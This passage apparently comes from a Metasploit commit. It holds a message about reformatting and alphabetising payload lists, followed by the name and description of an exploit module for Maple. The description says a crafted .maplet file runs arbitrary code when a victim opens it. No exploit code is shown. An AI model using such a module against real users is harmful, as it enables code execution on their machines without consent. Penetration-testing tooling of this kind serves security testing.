According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.

'Name' => 'Maple Maplet File Creation and Command Execution',

|
'Description' => %q{
|
|
This module harnesses Maple's ability to create files and execute commands
|
|
automatically when opening a Maplet. All versions up to 13 are suspected
|
|
vulnerable. Testing was conducted with version 13 on Windows. Standard security
|
|
settings prevent code from running in a normal maple worksheet without user
|
|
interaction, but those setting do not prevent code in a Maplet from running.
|
|
|
|
In order for the payload to be executed, an attacker must convince someone to
|
|
open a specially modified .maplet file with Maple. By doing so, an attacker can
|
|
execute arbitrary code as the victim user.
